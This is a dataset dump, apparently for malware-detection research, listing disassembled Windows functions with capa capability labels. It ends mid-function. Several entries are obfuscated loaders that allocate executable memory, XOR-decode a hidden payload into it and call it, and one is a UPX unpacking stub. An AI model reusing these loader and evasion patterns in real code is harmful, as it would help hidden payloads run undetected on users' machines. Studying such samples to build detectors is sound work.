joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100018b8
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 8], 0
jne 0x100018c5
xor eax, eax
pop ebp
ret
push dword [ebp + 0x2c]
push dword [ebp + 0x28]
push dword [ebp + 0x24]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_CreateProcessA]
pop ebp
ret

Function at 0x10001bc3
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x78c]
sub esp, 0x80c
mov eax, dword [0x1001e08c]
xor eax, ebp
mov dword [ebp + 0x788], eax
push ebx
mov ebx, dword [ebp + 0x798]
push esi
mov esi, dword [ebp + 0x79c]
push edi
mov edi, dword [ebp + 0x794]
push 0x3ff
lea eax, [ebp + 0x389]
push 0
push eax
mov byte [ebp + 0x388], 0
call fcn.10004d20
push edi
push str.SOFTWAREClassesCLSID_sInprocServer32
mov edi, 0x400
lea eax, [ebp + 0x388]
push edi
push eax
call fcn.10009bc1
add esp, 0x1c
lea eax, [ebp - 0x7c]
push eax
push 0x20019
neg esi
push 0
lea eax, [ebp + 0x388]
sbb esi, esi
push eax
add esi, reloc.OLEAUT32.dll_SysReAllocString
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x10001c5b
xor ecx, ecx
cmp eax, 2
sete cl
mov eax, ecx
jmp 0x10001c9d
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x78]
push eax
push 0x10019282
push dword [ebp - 0x7c]
mov dword [ebp - 0x80], edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
push dword [ebp - 0x7c]
test eax, eax
je 0x10001c85
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x10001c9d
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x78]
push eax
push ebx
call fcn.10009bc1
neg eax
pop ecx
sbb eax, eax
pop ecx
neg eax
mov ecx, dword [ebp + 0x788]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10004d10
add ebp, 0x78c
leave
ret

Function at 0x10001e92
Capabilities:
Query environment variable

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 8], esi
je 0x10001eb3
push dword [esp + 0xc]
push dword [esp + 0xc]
push str.USER_JPI_PROFILE
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x10001eb3
inc esi
mov eax, esi
pop esi
ret
Function at 0x100028fc
Capabilities:
Get common file path

Disassembly:
push ebp
sub esp, 0x208
lea ebp, [esp - 4]
mov eax, dword [0x1001e08c]
xor eax, ebp
mov dword [ebp + 0x208], eax
push 0xc
mov eax, 0x100183ad
call fcn.10005580
mov esi, dword [ebp + 0x214]
xor ebx, ebx
lea eax, [ebp]
push eax
push ebx
push ebx
push 0x1a
push ebx
mov byte [esi], bl
mov dword [ebp - 4], ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov edi, eax
cmp edi, ebx
jge 0x10002956
push edi
push str.Error:_08x_in_SHGetFolderPathW_NULL__CSIDL_APPDATA__NULL__0__szPath_
call fcn.10003e12
pop ecx
pop ecx
push ebx
push edi
call fcn.10009bc1
lea eax, [ebp]
push eax
lea ecx, [ebp - 0x14]
call fcn.1000373b
mov ecx, dword [eax]
mov byte [ebp - 4], 1
cmp ecx, ebx
je 0x10002973
call fcn.100035cd
jmp 0x10002975
xor eax, eax
push 0x104
push eax
push dword [ebp + 0x218]
push esi
call fcn.10009bc1
mov ecx, dword [ebp - 0x14]
add esp, 0x10
cmp ecx, ebx
je 0x100029c0
call fcn.1000390e
jmp 0x100029c0
xor eax, eax
cmp edi, ebx
setge al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x208]
xor ecx, ebp
call fcn.10004d10
add ebp, 0x20c
leave
ret

Function at 0x100029ea
Capabilities:
Get common file path

Disassembly:
push ebp
sub esp, 0x208
lea ebp, [esp - 4]
mov eax, dword [0x1001e08c]
xor eax, ebp
mov dword [ebp + 0x208], eax
push 0xc
mov eax, 0x100183dd
call fcn.10005580
mov esi, dword [ebp + 0x214]
xor ebx, ebx
lea eax, [ebp]
push eax
push ebx
push ebx
push 0x23
push ebx
mov byte [esi], bl
mov dword [ebp - 4], ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov edi, eax
cmp edi, ebx
jge 0x10002a44
push edi
push str.Error:_08x_in_::SHGetFolderPathW_0__CSIDL_COMMON_APPDATA__NULL__SHGFP_TYPE_CURRENT__szPath_
call fcn.10003e12
pop ecx
pop ecx
push ebx
push edi
call fcn.10009bc1
lea eax, [ebp]
push eax
lea ecx, [ebp - 0x14]
call fcn.1000373b
mov ecx, dword [eax]
mov byte [ebp - 4], 1
cmp ecx, ebx
je 0x10002a61
call fcn.100035cd
jmp 0x10002a63
xor eax, eax
push 0x104
push eax
push dword [ebp + 0x218]
push esi
call fcn.10009bc1
mov ecx, dword [ebp - 0x14]
add esp, 0x10
cmp ecx, ebx
je 0x10002aae
call fcn.1000390e
jmp 0x10002aae
xor eax, eax
cmp edi, ebx
setge al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x208]
xor ecx, ebp
call fcn.10004d10
add ebp, 0x20c
leave
ret
Function at 0x1000319d
Capabilities:
Get common file path

Disassembly:
push 0x14
mov eax, 0x1001843d
call fcn.10005580
mov esi, dword [ebp + 8]
xor eax, eax
xor edi, edi
xor ebx, ebx
mov word [esi], ax
mov dword [ebp - 4], edi
call fcn.10009bc1
test eax, eax
je 0x100031c8
call fcn.1000318e
mov ebx, eax
push 0x104
push esi
push ebx
push edi
push 0x1001a0a8
call dword [sym.imp.SHELL32.dll_SHGetFolderPathEx]
mov esi, eax
cmp esi, edi
jge 0x10003223
push esi
push str.Error:_08x_in_SHGetFolderPathEx_FOLDERID_LocalAppDataLow__0__hToken__pPath__MAX_PATH_
call fcn.10003e12
pop ecx
pop ecx
push edi
push esi
call fcn.10009bc1
mov ecx, dword [ebp - 0x18]
mov esi, dword [ecx + 4]
mov dword [ebp - 0x14], esi
call fcn.10003873
push eax
push esi
push 0x10019474
call fcn.10003e12
or dword [ebp - 4], 0xffffffff
add esp, 0xc
mov eax, 0x1000321c
ret
cmp ebx, edi
je 0x1000322e
push ebx
call dword [sym.imp.kernel32.dll_CloseHandle]
or dword [ebp - 4], 0xffffffff
cmp esi, edi
jge 0x100032df
push dword [ebp + 8]
mov dword [ebp - 4], 2
push edi
push edi
push 0x1a
push edi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov esi, eax
cmp esi, edi
jge 0x1000328b
push esi
push str.Error:_08x_in_SHGetFolderPathW_NULL__CSIDL_APPDATA__NULL__0__pPath_
jmp 0x100031e7
or dword [ebp - 4], 0xffffffff
cmp esi, edi
jge 0x100032df
push 1
push 0x1a
push dword [ebp + 8]
mov dword [ebp - 4], 4
push edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov esi, eax
cmp esi, edi
jge 0x100032df
push esi
push str.Error:_08x_in_SHGetSpecialFolderPathW_NULL__pPath__CSIDL_APPDATA__TRUE_
jmp 0x100031e7
mov eax, esi
call fcn.100055b6
ret

Function at 0x10003623
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0xa0]
sub esp, 0x120
mov eax, dword [0x1001e08c]
xor eax, ebp
mov dword [ebp + 0x9c], eax
mov eax, dword [ebp + 0xa8]
push ebx
push esi
push edi
mov edi, ecx
mov ecx, dword [edi + 4]
or ecx, 0x2001f
push ecx
push eax
push dword [edi]
xor esi, esi
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], esi
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], esi
call fcn.10009bc1
mov ebx, eax
cmp ebx, esi
je 0x10003696
lea ecx, [ebp - 0x74]
call fcn.10001115
mov eax, ebx
mov ecx, dword [ebp + 0x9c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10004d10
add ebp, 0xa0
leave
ret 4
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
jmp 0x100036ae
lea eax, [ebp - 0x64]
push eax
lea ecx, [ebp - 0x74]
call fcn.10003623
cmp eax, esi
jne 0x100036e0
lea eax, [ebp - 0x80]
push eax
push esi
push esi
push esi
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x64]
push eax
push esi
push dword [ebp - 0x74]
mov dword [ebp - 0x68], 0x100
call ebx
test eax, eax
je 0x1000369e
lea ecx, [ebp - 0x74]
call fcn.10001115
push dword [ebp - 0x78]
mov ecx, edi
call fcn.100010a6
lea ecx, [ebp - 0x74]
mov esi, eax
call fcn.10001115
mov eax, esi
jmp 0x1000367c

Function at 0x10004d10
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1001e08c]
jne 0x10004d1a
repz ret
jmp fcn.1000a8a3
Function at 0x10009bc1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
pushal
call 0x10009bd0
pop dword [ebp - 4]
mov eax, 0xda40e156
add eax, 0x35bfba7a
sub dword [ebp - 4], eax
mov dword [ebp - 0x14], 0x60612205
add dword [ebp - 0x14], 0xedf12346
mov dword [ebp - 0x10], 0x355cca08
add dword [ebp - 0x10], 0xfcd6823d
mov dword [ebp - 0xc], 0x1c64fd1c
sub dword [ebp - 0xc], 0xd018b8ee
mov dword [ebp - 8], 0x826d7afb
sub dword [ebp - 8], 0x826d7afb
lea eax, [ebp - 0x14]
push eax
mov eax, 0xe4cac1ad
sub eax, 0xd4c93195
add eax, dword [ebp - 4]
call dword [eax]
mov dword [ebp - 0x14], 0xea417644
add dword [ebp - 0x14], 0x8a30f312
mov dword [ebp - 0x10], 0xf633989b
sub dword [ebp - 0x10], 0xb4c73726
mov dword [ebp - 0xc], 0x28b5ac0e
sub dword [ebp - 0xc], 0xc5463fa2
mov dword [ebp - 8], 0x9eb81d2b
sub dword [ebp - 8], 0x9eb81d2b
lea ebx, [ebp - 0x14]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 4]
call dword [eax]
push 0x40
push 0x1000
push 0x3c7c3
push 0
call eax
mov ecx, 0x4c94
mov esi, eax
mov edx, 0xd4062078
sub edx, 0xc4036278
add edx, dword [ebp - 4]
mov edi, 0xe424ad14
add edi, 0xa68bd350
mov ebx, dword [edx]
xor ebx, edi
mov dword [esi], ebx
add esi, 4
add edx, 4
loop 0x10009ce7
add eax, 0x18161b5f
add eax, 0xe7eb09c4
mov ebx, eax
add eax, 0x950e8cee
sub eax, 0x950e8ce9
mov ecx, 0x2f377535
add ecx, 0xe0c88acb
add ecx, dword [ebp - 4]
call ebx
leave
ret
Function at 0x10013894
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x100138a3
pop dword [ebp - 0x20]
mov eax, 0x100138a3
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0xe7735b31
add dword [ebp - 0x30], 0x66deea1a
mov dword [ebp - 0x2c], 0xd0eeecf
sub dword [ebp - 0x2c], 0xdadba28a
mov dword [ebp - 0x28], 0xce5a6278
add dword [ebp - 0x28], 0x7df1e1b6
mov dword [ebp - 0x24], 0xe97beaaa
sub dword [ebp - 0x24], 0xe97beaaa
lea eax, [ebp - 0x30]
push eax
mov eax, 0xa09ed00c
add eax, 0x6f638078
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0x534961aa
add dword [ebp - 0x30], 0x212907ac
mov dword [ebp - 0x2c], 0xc302cc80
add dword [ebp - 0x2c], 0x7e6994f5
mov dword [ebp - 0x28], 0x44b84ab7
add dword [ebp - 0x28], 0x1eb721b5
mov dword [ebp - 0x24], 0xccf42e90
add dword [ebp - 0x24], 0x330bd170
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x39f2b
push 0
call eax
mov ecx, 0xce6cdd56
sub ecx, 0xce6c9acd
mov edi, eax
mov ebx, 0x6ba4a612
add ebx, 0xa45e65ee
add ebx, dword [ebp - 0x20]
mov edx, 0xb23696bb
add edx, 0xfed62331
xor dword [ebp - 0x1c], 0x37a9c18d
mov esi, dword [ebx]
add dword [ebp - 4], 0x25b924dc
add esi, edx
add dword [ebp - 8], eax
mov dword [edi], esi
add edi, 4
add ebx, 4
loop 0x100139bb
add eax, 0x72f62b4d
sub eax, 0x72f52e56
xor ebx, ebx
add ebx, eax
add eax, 0x1260be2a
sub eax, 0x1260be25
mov ecx, 0x10000000
add ecx, dword [ebp - 0x20]
call ebx
leave
ret

Function at 0x1001ca50
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, dword [ebp + 8]
cmp byte [edi + 0x2d], 0
jne 0x1001caeb
push ebx
mov ebx, dword [ebp + 0x10]
lea eax, [ebp - 4]
push esi
push 0
push eax
push ebx
push dword [ebp + 0xc]
push dword [edi + 0x30]
call dword [sym.imp.kernel32.dll_ReadFile]
mov esi, dword [ebp - 4]
cmp esi, ebx
je 0x1001caa2
mov byte [edi + 0x2d], 0xff
test esi, esi
je 0x1001caa2
cmp esi, ebx
jge 0x1001caa2
mov eax, ebx
sub eax, esi
push eax
mov eax, dword [ebp + 0xc]
add eax, esi
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
cmp dword [edi + 0x18], 0
je 0x1001cae5
add dword [edi + 0x1c], ebx
cmp dword [edi + 0x1c], 0xffff
jle 0x1001cae5
xor eax, eax
mov word [edi + 0x1e], ax
mov eax, dword [edi]
push edi
mov esi, dword [eax + 0x2c]
mov ecx, esi
call dword [0x100252e0]
call esi
mov ecx, dword [edi + 0x18]
push 1
push dword [edi + 0x20]
mov esi, dword [ecx]
push eax
push ecx
mov ecx, dword [esi + 0xc]
call dword [0x100252e0]
call dword [esi + 0xc]
mov esi, dword [ebp - 4]
mov eax, esi
pop esi
pop ebx
jmp 0x1001cafd
push dword [ebp + 0x10]
push 0
push dword [ebp + 0xc]
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor eax, eax
pop edi
leave
ret 0xc
Function at 0x1001cd20
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x1002d6f0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x1002da18], 0
mov eax, dword [ebp + 8]
je 0x1001cd48
push eax
call dword [sym.imp.kernel32.dll_DeleteFileW]
jmp 0x1001cd62
lea ecx, [ebp - 0x108]
push ecx
push eax
call fcn.10013894
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.kernel32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
test eax, eax
setne al
xor ecx, ebp
call fcn.10022ac0
leave
ret 4

Function at 0x1001cf30
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
mov eax, dword [0x1002d6f0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x1002da18], 0
push ebx
mov ebx, dword [ebp + 0x14]
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
je 0x1001cf66
push ebx
push dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.kernel32.dll_GetTempFileNameW]
jmp 0x1001cfc5
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x310]
push eax
push esi
call fcn.10013894
lea eax, [ebp - 0x20c]
push eax
push edi
call fcn.10013894
lea eax, [ebp - 0x108]
push eax
push dword [ebp + 0x10]
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.kernel32.dll_GetTempFileNameA]
mov esi, eax
lea eax, [ebp - 0x108]
push ebx
push eax
call fcn.10013894
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10022ac0
leave
ret 0x10

Function at 0x1001cfe0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x1002d6f0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x1002da18], 0
push esi
mov esi, dword [ebp + 0xc]
je 0x1001d00c
push esi
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetTempPathW]
jmp 0x1001d03d
lea eax, [ebp - 0x108]
push eax
push 0x104
call dword [sym.imp.kernel32.dll_GetTempPathA]
test eax, eax
je 0x1001d03b
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.10013894
push esi
call dword [sym.imp.kernel32.dll_lstrlenW]
jmp 0x1001d03d
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10022ac0
leave
ret 8
Function at 0x4e2d30
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x4d000]
push edi
jmp 0x4e2d4a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4e2d51
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4e2d40
mov eax, 1
add ebx, ebx
jne 0x4e2d63
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4e2d58
jne 0x4e2d74
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4e2d58
xor ecx, ecx
sub eax, 3
jb 0x4e2d88
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4e2dfa
mov ebp, eax
add ebx, ebx
jne 0x4e2d93
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4e2da0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4e2dc4
inc ecx
add ebx, ebx
jne 0x4e2db0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4e2da5
jne 0x4e2dc1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4e2da5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4e2de4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4e2dd5
jmp 0x4e2d46
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4e2de4
add edi, ecx
jmp 0x4e2d46
pop esi
lea edi, [esi + 0xe0000]
mov eax, dword [edi]
or eax, eax
je 0x4e2e4c
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xe92a4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xe92e0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4e2e01
mov ecx, edi
jns 0x4e2e30
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xe92e8]
or eax, eax
je 0x4e2e46
mov dword [ebx], eax
add ebx, 4
jmp 0x4e2e1e
call dword [esi + 0xe92e4]
mov ebp, dword [esi + 0xe92ec]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1e7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4e2e80
sub esp, 0xffffff80
jmp 0x40130c
Function at 0x2580fdb2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
pushal
call 0x2580fdc1
pop dword [ebp - 4]
mov eax, 0x2580fdc1
sub dword [ebp - 4], eax
mov dword [ebp - 0x14], 0xa88baf08
sub dword [ebp - 0x14], 0x5a3969bd
mov dword [ebp - 0x10], 0xa665ccb9
sub dword [ebp - 0x10], 0x74328074
mov dword [ebp - 0xc], 0x9324a158
sub dword [ebp - 0xc], 0x46d85d2a
mov dword [ebp - 8], 0xf4c3dabd
add dword [ebp - 8], 0xb3c2543
lea eax, [ebp - 0x14]
push eax
mov eax, 0xcbe3e26e
add eax, 0x599dedd6
add eax, dword [ebp - 4]
call dword [eax]
mov dword [ebp - 0x14], 0xf69b9175
sub dword [ebp - 0x14], 0x8229281f
mov dword [ebp - 0x10], 0x97a9c3fd
sub dword [ebp - 0x10], 0x563d6288
mov dword [ebp - 0xc], 0x50198e58
add dword [ebp - 0xc], 0x1355de14
mov dword [ebp - 8], 0x4e4529ef
sub dword [ebp - 8], 0x4e4529ef
lea ebx, [ebp - 0x14]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 4]
call dword [eax]
push 0x40
push 0x1000
push 0x3a2b8
push 0
call eax
mov ecx, 0x3e5c
mov edx, eax
mov esi, 0xd28d1ff0
sub esi, 0xad0a89f0
add esi, dword [ebp - 4]
mov ebx, 0x33bb8e36
add ebx, 0xc88f3e44
mov edi, dword [esi]
xor edi, ebx
mov dword [edx], edi
add edx, 0x249ebffa
add edx, 0xdb61400a
add esi, 4
loop 0x2580fed3
add eax, 0x5886985c
sub eax, 0x5885ac19
xor ebx, ebx
add ebx, eax
add eax, 0x3d324464
add eax, 0xc2cdbba1
mov ecx, 0x4c1d12d5
add ecx, 0xd962ed2b
add ecx, dword [ebp - 4]
call ebx
leave
ret
Function at 0x404db6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
sub esp, 0x2c0
mov dword [esp + 0x44], ebx
mov dword [esp + 0x48], esi
mov dword [esp + 0x4c], edi
mov ecx, dword [ebp + 8]
mov dword [esp + 0x54], ecx
mov esi, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0x14]
call fcn.00404de3

Function at 0x405dd5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
sub esp, 0x2c0
mov dword [esp + 0x44], ebx
mov dword [esp + 0x48], esi
mov dword [esp + 0x4c], edi
mov ecx, dword [ebp + 8]
mov dword [esp + 0x54], ecx
mov esi, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0x14]
call fcn.00405e02
Function at 0x407820
Capabilities:
Inspect section memory permissions

Disassembly:
push ebx
push esi
push edi
push ebp
pushfd
pop eax
mov ecx, eax
xor eax, 0x200000
push eax
popfd
pushfd
pop eax
xor eax, ecx
shr eax, 0x15
and eax, 1
push ecx
popfd
and eax, eax
je 0x4079a7
mov esi, 1
mov eax, 0
xor ecx, ecx
cpuid
mov edi, eax
cmp edi, 2
jb 0x40785e
or esi, 0x2000000
test edi, 0x500
je 0x40786e
or esi, 2
jmp 0x4079a7
mov eax, 1
xor ecx, ecx
cpuid
test ecx, 0x40000000
je 0x407885
or esi, 0x4000000
test ecx, 0x2000000
je 0x407893
or esi, 0x80000000
test ecx, 0x800000
je 0x4078a1
or esi, 0x8000000
test ecx, 0x1000
je 0x4078af
or esi, 0x20000000
test ecx, 2
je 0x4078bd
or esi, 0x40000000
test ecx, 0x100000
je 0x4078cb
or esi, 0x80
test ecx, 0x80000
je 0x4078d6
or esi, 0x40
test ecx, 0x200
je 0x4078e1
or esi, 0x20
test ecx, 1
je 0x4078ec
or esi, 0x10
test edx, 0x4000000
je 0x4078f7
or esi, 8
test edx, 0x2000000
je 0x407902
or esi, 4
test edx, 0x800000
je 0x40790d
or esi, 2
test ecx, 0x8000000
je 0x4079a7
test ecx, 0x10000000
je 0x4079a7
xor ecx, ecx
xgetbv
mov ebp, eax
and eax, 6
cmp eax, 6
jne 0x4079a7
or esi, 0x100
cmp edi, 7
jb 0x407972
mov eax, 7
xor ecx, ecx
cpuid
test ebx, 0x20
je 0x407956
or esi, 0x400
and ebp, 0xe0
cmp ebp, 0xe0
jne 0x407972
test ebx, 0x10000
je 0x407972
or esi, 0x800
mov eax, 0x80000000
xor ecx, ecx
cpuid
cmp eax, 0x80000001
jb 0x4079a7
mov eax, 0x80000001
xor ecx, ecx
cpuid
test ecx, 0x10000
je 0x407999
or esi, 0x10000000
test ecx, 0x800
je 0x4079a7
or esi, 0x200
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x4079c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov esi, str.sigrun10
mov ebx, ecx
push edi
mov edi, edx
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x4079d5
sub esi, ecx
mov eax, 0x20
cdq
idiv esi
mov dword [ebp - 4], eax
mov eax, 8
cdq
idiv esi
xor edx, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
test eax, eax
jle 0x407a20
lea ecx, [ecx]
xor ecx, ecx
test esi, esi
jle 0x407a1a
mov al, byte [ecx + str.sigrun10]
inc ecx
xor al, 5
mov byte [edx + ebx], al
inc edx
cmp ecx, esi
jl 0x407a06
mov eax, dword [ebp - 4]
dec eax
mov dword [ebp - 4], eax
jne 0x407a00
mov ebx, dword [ebp - 8]
xor edx, edx
test ebx, ebx
jle 0x407a4a
lea esp, [esp]
xor ecx, ecx
test esi, esi
jle 0x407a47
mov al, byte [ecx + str.sigrun10]
inc ecx
xor al, 0x10
mov byte [edx + edi], al
inc edx
cmp ecx, esi
jl 0x407a36
dec ebx
jne 0x407a30
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x407bb0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x42d2e0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
call fcn.00407b00
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenProcess]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
je 0x407c01
push 0
push 0
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
sub esp, 0xc
lea edx, [ebp - 0x10]
lea ecx, [ebp - 0x34]
call fcn.004079c0
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
add esp, 0xc
push 0x40
push 0x3000
push 0x1e6
push 0
call esi
push 0x14
mov edi, eax
lea eax, [ebp - 0x10]
push 0x1e6
push edi
push 0x42b5f0
push eax
lea eax, [ebp - 0x34]
mov dword [ebp - 0x38], edi
push eax
call fcn.00408e30
add esp, 0x18
push 0x40
push 0x3000
push 0x12600
push 0
call esi
sub esp, 0xc
lea edx, [ebp - 0x10]
lea ecx, [ebp - 0x34]
mov esi, eax
call fcn.004079c0
push 0x14
push 0x12600
push esi
push 0x418ff0
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.00408e30
add esp, 0x24
mov dword [edi + 2], esi
push dword [0x42ee68]
call dword [sym.imp.KERNEL32.dll_RemoveVectoredExceptionHandler]
call dword [ebp - 0x38]
push 0
call dword [sym.imp.KERNEL32.dll_ExitThread]
Function at 0x408fa0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push 0x40
push 0
shr ebx, 6
push esi
mov dword [ebp + 0x10], ebx
call fcn.00409c60
add esp, 0xc
test ebx, ebx
je 0x409085
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 0x14]
inc ecx
push edi
lea edi, [esi + 1]
mov dword [ebp - 4], edx
mov dword [ebp - 0xc], edi
mov eax, edx
mov dword [ebp - 8], ecx
nop
test edx, edx
je 0x409035
lea esi, [ecx + 1]
mov edx, eax
mov ecx, edi
mov ebx, 0x10
mov edi, dword [ebp + 0xc]
sub edi, dword [ebp + 0x14]
movzx eax, byte [edi + edx]
lea edx, [edx + 4]
xor al, byte [ecx - 1]
lea ecx, [ecx + 4]
xor al, byte [edx - 4]
lea esi, [esi + 4]
mov byte [ecx - 5], al
movzx eax, byte [edx - 3]
xor al, byte [esi - 5]
xor byte [ecx - 4], al
movzx eax, byte [edx - 2]
xor al, byte [esi - 4]
xor byte [ecx - 3], al
movzx eax, byte [edx - 1]
xor al, byte [esi - 3]
xor byte [ecx - 2], al
dec ebx
jne 0x408ff6
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp - 0xc]
jmp 0x409065
mov eax, edi
mov edx, ecx
mov esi, 0x10
mov edi, edi
movzx ecx, byte [edx - 1]
lea edx, [edx + 4]
xor byte [eax - 1], cl
lea eax, [eax + 4]
movzx ecx, byte [edx - 4]
xor byte [eax - 4], cl
movzx ecx, byte [edx - 3]
xor byte [eax - 3], cl
movzx ecx, byte [edx - 2]
